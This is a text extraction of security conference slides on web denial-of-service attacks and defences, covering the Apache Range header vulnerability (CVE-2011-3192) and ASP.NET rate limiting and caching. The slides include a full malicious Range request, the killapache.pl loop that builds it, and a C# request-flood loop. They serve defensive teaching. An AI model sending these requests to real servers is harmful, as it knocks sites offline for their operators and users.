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VXRL 
•  Valkyrie-­‐X	
  Security	
  Research	
  Group	
  (VXRL)	
  
•  Philosophy:	
  Offensive,	
  CreaEve	
  and	
  Fun	
  
•  InternaEonalized:	
  Connect	
  to,	
  work	
  with	
  and
	
  learn	
  from	
  world	
  hackers	
  and	
  researchers	
  
– Publish	
  our	
  work	
  and	
  share	
  knowledge	
  

•  Hacking	
  Kungfu	
  (功夫):	
  
– Focus	
  on	
  reverse	
  engineering,	
  malware	
  analysis,
	
  penetraEon	
  test,	
  forensics,	
  etc	
  

– We	
  keep	
  learning	
  and	
  advancing	
  ourselves	
  



VXRL   
•  VXCON	
  2011	
  (Dec	
  2011)	
  
•  Call	
  for	
  presentaEons	
  (hacking,	
  security	
  topics,
	
  interesEng	
  ..)	
  



Who am I? 
Alan	
  Ho	
  
•  He	
  is	
  currently	
  working	
  as	
  a	
  soWware	
  engineer,	
  
his	
  focus	
  is	
  on	
  web	
  applicaEon.	
  	
  

•  He	
  has	
  been	
  working	
  on	
  web	
  programming	
  for	
  
several	
  years,	
  realizing	
  that	
  web	
  security	
  is	
  one	
  of	
  
the	
  most	
  significant	
  topics	
  we	
  should	
  be	
  aware	
  of.	
  

•  He	
  got	
  SANS	
  GWAPT	
  in	
  2010	
  and	
  MSc	
  in	
  
InformaEon	
  System	
  Management	
  in	
  2008	
  

•  He	
  is	
  keen	
  on	
  in	
  broadening	
  his	
  knowledge	
  and	
  
improving	
  his	
  skills	
  for	
  web	
  security.	
  

•  VXCON	
  speaker	
  2010	
  



Who am I? 
Anthony	
  Lai	
  
•  Passionate	
  over	
  and	
  experience	
  in	
  penetraEon	
  test,	
  code	
  audit	
  as	
  

well	
  as	
  threat	
  analysis.	
  	
  
•  Provide	
  penetraEon	
  test,	
  web	
  applicaEon	
  security,	
  malware	
  analysis	
  

and	
  reverse	
  engineering	
  trainings.	
  
•  Found	
  VXRL	
  (www.vxrl.org)	
  -­‐	
  Connected	
  to	
  world	
  researchers	
  and	
  

hackers	
  for	
  knowledge	
  sharing.	
  
•  Chapter	
  leader	
  of	
  OWASP	
  (HK	
  Chapter),	
  Program	
  Commi]ee	
  in	
  PISA	
  

and	
  extended	
  commi]ee	
  member	
  in	
  HTCIA	
  (APAC	
  Chapter)	
  
•  Spoke	
  in	
  Blackhat	
  2010	
  and	
  DEFCON	
  18;	
  Gave	
  training	
  with	
  Val	
  

Smith	
  and	
  Colin	
  Ames	
  for	
  TacEcal	
  ExploitaEon	
  course	
  in	
  Blackhat	
  
USA	
  2011	
  and	
  spoke	
  at	
  Hack	
  In	
  Taiwan	
  and	
  DEFCON	
  19	
  about	
  
targeted	
  a]ack/APT.	
  

•  Partnered	
  with	
  Taiwanese	
  research	
  fellows,	
  Birdman	
  and	
  Benson,	
  
forming	
  Xecure	
  Lab	
  and	
  giving	
  birth	
  APT	
  Deezer	
  service	
  (h]p://
aptdeezer.xecure-­‐lab.com)	
  

•  SANS	
  Specialist:	
  GWAPT,	
  GREM	
  (Gold)	
  and	
  GCFA.	
  



Special Thank you to HKEx and
 Attackers 

•  Without	
  HKEx,	
  smart	
  and	
  stupid	
  a]ackers,	
  we
	
  cannot	
  present	
  to	
  you	
  from	
  another
	
  perspecEve.	
  

•  Incident	
  creates	
  opportuniEes	
  	
  



Objective 
•  We	
  are	
  not	
  targeEng	
  to	
  laughing	
  at	
  any
	
  parEes.	
  

•  Our	
  approach	
  is	
  offensive	
  but	
  ethical.	
  
•  Other	
  than	
  bandwidth-­‐based	
  DDoS/DoS
	
  a]acks,	
  applicaEon	
  vulnerabiliEes	
  and
	
  performance	
  issues	
  are	
  counted.	
  

•  Other	
  than	
  placing	
  load	
  balancer	
  or	
  engaging
	
  anE-­‐DDoS	
  service,	
  we	
  could	
  not	
  ignore
	
  applicaEon	
  design.	
  



Disclaimer 
•  We	
  are	
  not	
  liable	
  if
	
  anyone	
  uses	
  the	
  scripts
	
  and	
  techniques	
  for
	
  malicious	
  purpose.	
  

•  We	
  cannot	
  get	
  you	
  out
	
  from	
  the	
  jail.	
  



Agenda 
•  HKEx	
  –	
  A]acker	
  may	
  like	
  these	
  informaEon
	
  and	
  plagorm	
  

•  Latest	
  Web	
  Server	
  Vulnerability	
  

•  DoS	
  Defense	
  at	
  Web	
  Server	
  Level	
  

•  DoS	
  Defense	
  at	
  ApplicaEon	
  Level	
  



HKEx: Attacker favored
 information 



Way Back Machine 



IP addresses Exposure 



IP addresses Exposure 



Damn vulnerable .asp site 
•  Well-­‐known	
  and	
  easy	
  to	
  give	
  birth	
  of	
  SQL
	
  injecEon	
  

•  Security	
  and	
  performance	
  are	
  not	
  handled
	
  properly	
  and	
  those	
  tuning	
  are	
  basic	
  

•  Many	
  web	
  sites	
  are	
  sEll	
  implemented	
  in	
  .asp
	
  because	
  they	
  are	
  leW	
  alone	
  	
  



Web Tier 



Case Studies: Latest DOS attack
 against Apache Range vulnerability 
•  A	
  denial	
  of	
  service	
  vulnerability	
  has	
  been	
  found	
  in
	
  the	
  way	
  the	
  mulEple	
  	
  

•  overlapping	
  ranges	
  are	
  handled	
  by	
  the	
  Apache
	
  HTTPD	
  server:	
  
– h]p://seclists.org/fulldisclosure/2011/Aug/175	
  	
  

•  An	
  a]ack	
  tool	
  is	
  circulaEng	
  in	
  the	
  wild.	
  AcEve	
  use	
  of
	
  this	
  tools	
  has	
  	
  been	
  observed.	
  

•  The	
  a]ack	
  can	
  be	
  done	
  remotely	
  and	
  with	
  a	
  modest
	
  number	
  of	
  requests	
  can	
  cause	
  very	
  significant
	
  memory	
  and	
  CPU	
  usage	
  on	
  the	
  server.	
  	
  



Case Studies: Latest DOS attack
 against Apache Range vulnerability 
•  The	
  default	
  Apache	
  HTTPD	
  installaEon	
  is
	
  vulnerable.	
  



Aha, occupy CPU Usage! 



HTTP Range Header 
•  The	
  a]ack	
  sends	
  malicious	
  HTTP	
  Range
	
  Request	
  header	
  data.	
  	
  The	
  Range	
  header	
  is
	
  normally	
  used	
  when	
  a	
  client	
  is	
  requesEng
	
  larger	
  files	
  from	
  a	
  web	
  site.	
  	
  These	
  files	
  are
	
  too	
  large	
  to	
  fit	
  within	
  the	
  body	
  of	
  a	
  single
	
  response	
  so	
  they	
  are	
  segmented	
  and	
  sent	
  to
	
  the	
  client	
  in	
  chunks.	
  	
  	
  

•  When	
  sending	
  responses	
  to	
  range	
  requests,
	
  web	
  server	
  should	
  trigger	
  a	
  206	
  ParEal
	
  Content	
  HTTP	
  status	
  code.	
  



HEAD / HTTP/1.1 
Host: 127.0.0.1 

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5- 
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5- 
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5- 

50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5- 
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5- 
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5- 
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5- 

115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5- 
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5- 
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5- 
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5- 

171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5- 
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5- 
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5- 

213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5- 
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5- 
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5- 
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5- 

269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5- 
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5- 
297,5-298,5-299,5-300,5-301, 

.... 
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5- 
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5- 
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299 

Accept-Encoding: gzip 
Connection: close 



Invalid Byte Ranges 
Per	
  the	
  HTTP	
  RFC
(h]p://tools.ieg.org/html/rfc2616#page-­‐138)
	
  states	
  the	
  following	
  about	
  the	
  the	
  byte	
  range
	
  fields:	
  

If	
  the	
  last-­‐byte-­‐pos	
  value	
  is	
  present,	
  it	
  MUST	
  be	
  

greater	
  than	
  or	
  equal	
  to	
  the	
  first-­‐byte-­‐pos	
  in	
  that	
  	
  

byte-­‐range-­‐spec,	
  or	
  the	
  byte-­‐range-­‐spec	
  is	
  	
  

syntacEcally	
  invalid.	
  



Invalid Byte Range 
If	
  you	
  look	
  at	
  the	
  iniEal	
  Range	
  fields	
  of	
  the	
  a]ack	
  you	
  will	
  see	
  that	
  a	
  number	
  

of	
  them	
  are	
  then	
  considered	
  invalid:	
  

HEAD / HTTP/1.1 

Host: 127.0.0.1 
Range: bytes=0-

,
5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11
,5-12,5-13,5-14,5-15,5-16 

This	
  is	
  due	
  to	
  the	
  following	
  looping	
  code	
  in	
  the	
  killapache.pl	
  script	
  -­‐	
  

$p = ""; 

for ($k=0;$k<1300;$k++) { 

        $p .= ",5-$k"; 
} 



Impact 
•  By	
  sending	
  this	
  single	
  request	
  with	
  such	
  a
	
  large	
  number	
  of	
  fields	
  within	
  the	
  Range
	
  header,	
  the	
  a]acker	
  is	
  amplifying	
  their
	
  request	
  as	
  each	
  byte	
  range	
  field	
  forces
	
  Apache	
  to	
  make	
  separate	
  copies	
  of	
  the
	
  requested	
  resource	
  server-­‐side	
  which	
  is
	
  consuming	
  resources	
  deep	
  within	
  the	
  Apache
	
  internals.	
  



Vulnerable to Apache Range
 vulnerability? 



Vulnerable to Apache Range
 vulnerability? 



Vulnerable to Apache Range
 vulnerability? 



Try this PHP script 



Our Example 
•  Apache	
  Server	
  2.2.16,	
  dual	
  core	
  CPU,	
  4g	
  RAM,
	
  Ubuntu	
  

•  Launch	
  2Mbps	
  Apache	
  Range	
  Vulnerability
	
  A]ack	
  



Our Example 





New Result 
•  We	
  have	
  DoS	
  IIS7.5	
  successfully	
  with	
  another
	
  “technique”.	
  Keep	
  secret	
  at	
  this	
  moment	
  	
  



Sword and Shield 
•  Detect	
  Apache	
  Range	
  Vulnerability	
  

–  h]p://apache-­‐range-­‐exploit.com/	
  	
  

•  KillApache.pl	
  

–  h]p://seclists.org/fulldisclosure/2011/Aug/175	
  	
  
•  DoS	
  PERL	
  Script	
  

–  h]ps://gist.github.com/1170454	
  

•  CVE	
  
–  h]p://cve.mitre.org/cgi-­‐bin/cvename.cgi?name=CVE-­‐2011-­‐3192	
  	
  

•  Announcement	
  and	
  Fixes	
  

–  h]p://mail-­‐archives.apache.org/mod_mbox/h]pd-­‐announce
/201108.mbox
/%3C20110824161640.122D387DD@minotaur.apache.org%3E	
  	
  



Defense against DoS at Web
 Server 



Defense – Catch and Patch 
•  Patch	
  
•  Quick	
  and	
  hot	
  fix	
  
•  Change	
  or	
  upgrade	
  plagorm	
  



Tuning:  Cache in Web Server 
•  IIS	
  can	
  be	
  tuned	
  in	
  several	
  aspects	
  

– E.g.	
  compression,	
  requests	
  handling,	
  cache,	
  etc…	
  

•  IIS	
  Cache	
  for	
  StaEc	
  Content	
  
– html	
  documents,	
  javascript,	
  css,	
  images	
  

\Windows\system32\inetsrv\appcmd.exe set config "Default Web Site/images" -
section:system.webServer/staticContent -clientCache.cacheControlMode:UseMaxAge 

\Windows\system32\inetsrv\appcmd.exe set config "Default Web Site/images" -
section:system.webServer/staticContent -clientCache.cacheControlMaxAge:"01:00:00" 

Reference:  http://www.iis.net/ConfigReference/system.webServer/caching	




Defense against DoS at
 Application Level  

(illustrated in ASP.NET technology) 



Aha, search engine 



Search Engine Response 
•  Search	
  Engine	
  result	
  page	
  usually	
  not	
  cached,
	
  and	
  returns	
  lengthy	
  result	
  by	
  small	
  bytes	
  of
	
  request	
  

•  Automated	
  script	
  may	
  use	
  this	
  feature	
  to
	
  launch	
  massive	
  “requests”	
  with	
  small	
  payload	
  

•  Some	
  search	
  bots	
  may	
  also	
  crawl	
  the	
  websites	
  



Search Engine 
•  CAPTCHA	
  request	
  could	
  be	
  help	
  a	
  li]le	
  bit	
  to
	
  block	
  mulEple	
  quick	
  requests	
  within	
  a	
  second	
  

•  robots.txt	
  can	
  help	
  to	
  prevent	
  search	
  bots	
  to
	
  crawl	
  such	
  pages	
  



ASP.NET Cache 
•  Page	
  output	
  caching	
  

– Varied	
  by	
  params	
  (outputcache	
  direcEve)	
  
<%@ OutputCache Duration="60" VaryByParam=“MyID"  %> 

mypage.aspx?MyID=1, mypage.aspx?MyID=2, mypage.aspx?MyID=3… 

the pages are cached individually, varied by the ID, if “VaryByParam” is not
 specified, mypage.aspx will display one cached page, MyID=x will have no
 effect 

•  ApplicaEon	
  caching	
  
– Code	
  snippet	
  

// Programmatically Insert operation 
Cache.Insert(“CacheKey", “MyValue”, null, DateTime.Now.AddHours(8), Cache.NoSlidingExpiration); 

//retrieve easily by 
if (Cache[“CacheKey”] != null){ 
      string myVal = Cache[“CachedKey”].ToString(); 
} 

Reference: http://www.codeproject.com/KB/aspnet/ASP4Caching.aspx	




Application Module 
•  Tracking	
  the	
  request	
  IP	
  Address	
  
•  Ban	
  the	
  requests	
  from	
  suspicious	
  source	
  

– Massive	
  requests	
  in	
  short	
  period	
  of	
  Eme	
  

– RepeEEve	
  requests	
  in	
  short	
  period	
  of	
  Eme	
  



Code Snippet	


Reference: http://madskristensen.net/post/Block-DoS-attacks-easily-in-ASPNET.aspx	




Example: Customized Application
 Defense 

•  Web	
  services	
  are	
  target	
  for	
  DDoS.	
  
•  For	
  example,	
  for	
  www.pageflakes.com	
  

– Visit	
  the	
  page	
  without	
  preserving	
  cookie	
  
– Every	
  hit	
  will	
  produce	
  a	
  brand	
  new	
  user,	
  new	
  page
	
  setup	
  and	
  new	
  widgets	
  

for( int i = 0; i < 100000; i ++ ) 

{ 
   WebClient client = new WebClient(); 

   client.DownloadString("http://www.pageflakes.com
/default.aspx"); 

} 



Design: ActionValidator Class 
•  AcEonValidator	
  Class:	
  Define	
  count	
  of	
  specific
	
  acEons	
  like	
  First	
  Visit,	
  Revisit,	
  Asynchronous
	
  postbacks,	
  Add	
  New	
  widgets,	
  Add	
  New	
  pages
	
  etc.	
  It	
  checks	
  whether	
  the	
  count	
  for	
  such
	
  specific	
  acEon	
  for	
  a	
  specific	
  IP	
  exceeds	
  the
	
  threshold	
  value	
  or	
  not	
  



ActionValidator Class 
public static class ActionValidator 
{ 

     private const int DURATION = 10; // 10 min period 

     public enum ActionTypeEnum 

     { 

         FirstVisit = 100, // The most expensive one, choose the value
 wisely.  

         ReVisit = 1000,  // Welcome to revisit as many times as user
 likes 

         Postback = 5000,    // Not must of a problem for us 

         AddNewWidget = 100,  

         AddNewPage = 100, 

     } 

    ………. 

} 



Design: IsValid method 
•  This	
  staEc	
  method	
  is	
  to	
  check	
  whether	
  a
	
  parEcular	
  limit	
  is	
  passed	
  or	
  not.	
  	
  

•  It	
  returns	
  true	
  if	
  it	
  does	
  not	
  pass	
  the	
  limit,
	
  otherwise,	
  it	
  returns	
  false.	
  

•  When	
  false,	
  you	
  could	
  simply	
  call	
  Request.End()
	
  and	
  prevent	
  ASP.NET	
  from	
  proceeding	
  further.	
  



IsValid method 



•  The	
  cache	
  key	
  is	
  built	
  with	
  a	
  combinaEon	
  of
	
  acEon	
  type	
  and	
  client	
  IP	
  address.	
  First	
  it
	
  checks	
  if	
  there’s	
  any	
  entry	
  for	
  the	
  acEon	
  and
	
  the	
  client	
  IP	
  in	
  cache	
  or	
  not.	
  If	
  not,	
  start	
  the
	
  count	
  and	
  remember	
  the	
  count	
  for	
  the	
  IP	
  in
	
  cache	
  for	
  the	
  specific	
  duraEon.	
  The	
  absolute
	
  expiraEon	
  on	
  cache	
  item	
  ensures	
  that	
  aWer
	
  the	
  duraEon	
  the	
  cache	
  item	
  will	
  be	
  cleared
	
  and	
  the	
  count	
  will	
  restart.	
  When	
  there’s
	
  already	
  an	
  entry	
  in	
  the	
  cache,	
  get	
  the	
  last	
  hit
	
  count,	
  and	
  check	
  if	
  the	
  limit	
  is	
  exceeded	
  or
	
  not.	
  	
  



If	
  not	
  exceeded,	
  increase	
  the	
  counter.	
  There	
  is
	
  no	
  need	
  to	
  store	
  the	
  updated	
  value	
  in	
  the
	
  cache	
  again	
  by	
  doing:	
  Cache[url]=hit;
 because	
  the	
  hit	
  object	
  is	
  by	
  reference	
  and
	
  changing	
  it	
  means	
  it	
  gets	
  changed	
  in	
  the
	
  cache	
  as	
  well.	
  In	
  fact,	
  if	
  you	
  do	
  put	
  it	
  again	
  in
	
  the	
  cache,	
  the	
  cache	
  expiraEon	
  counter	
  will
	
  restart	
  and	
  fail	
  the	
  logic	
  of	
  restarEng	
  count
	
  aWer	
  specific	
  duraEon.	
  



Usage – Put this to default.aspx 



More details 
•  h]p://www.codeproject.com/KB/aspnet
/10ASPNetPerformance.aspx#	
  	
  



Audit your web site performance 
•  Chrome	
  -­‐>
	
  Developer
	
  Tool	
  



Audit your web site performance 



Recommendations 
•  Undertake	
  offensive	
  load	
  test	
  to	
  see	
  whether	
  your	
  site	
  is	
  

ready.	
  

•  Tune	
  and	
  know	
  the	
  performance	
  of	
  your	
  Web	
  site;	
  Manipulate	
  
and	
  uElize	
  cache	
  control	
  in	
  applicaEon	
  and	
  server	
  levels.	
  

•  Keep	
  latest	
  patch	
  on	
  web	
  server	
  and	
  applicaEons.	
  

•  Don’t	
  forget	
  OWASP	
  Top	
  10	
  vulnerability.	
  

•  Monitor	
  vulnerabiliEes	
  and	
  availability	
  of	
  Web	
  applicaEon	
  on	
  
conEnuous	
  basis.	
  

•  Prepare	
  for	
  the	
  worst	
  when	
  DDoS	
  strikes.	
  



Recommendations 
For	
  developers	
  and	
  IT	
  applicaEon	
  security	
  
officers/auditors	
  

•  OWASP	
  Top	
  10	
  Security	
  
– h]ps://www.owasp.org/index.php/
Category:OWASP_Top_Ten_Project	
  

•  OWASP	
  Coding	
  Security	
  Guidelines	
  
– h]ps://www.owasp.org/index.php/
Category:OWASP_Code_Review_Project	
  	
  



Thank you  
•  Thank	
  you	
  for	
  your	
  listening	
  
•  Thank	
  you	
  to	
  all	
  fellows	
  organizing	
  this	
  event	
  
•  Thank	
  you	
  to	
  VXRL’s	
  fellow	
  advice	
  and	
  support	
  
•  Thank	
  you	
  to	
  our	
  families	
  to	
  keep	
  us	
  rolling	
  

•  Feel	
  free	
  to	
  contact	
  us	
  at	
  darkfloyd@vxrl.org	
  
/alanh0@vxrl.org	
  for	
  discussion.	
  



This is VX 


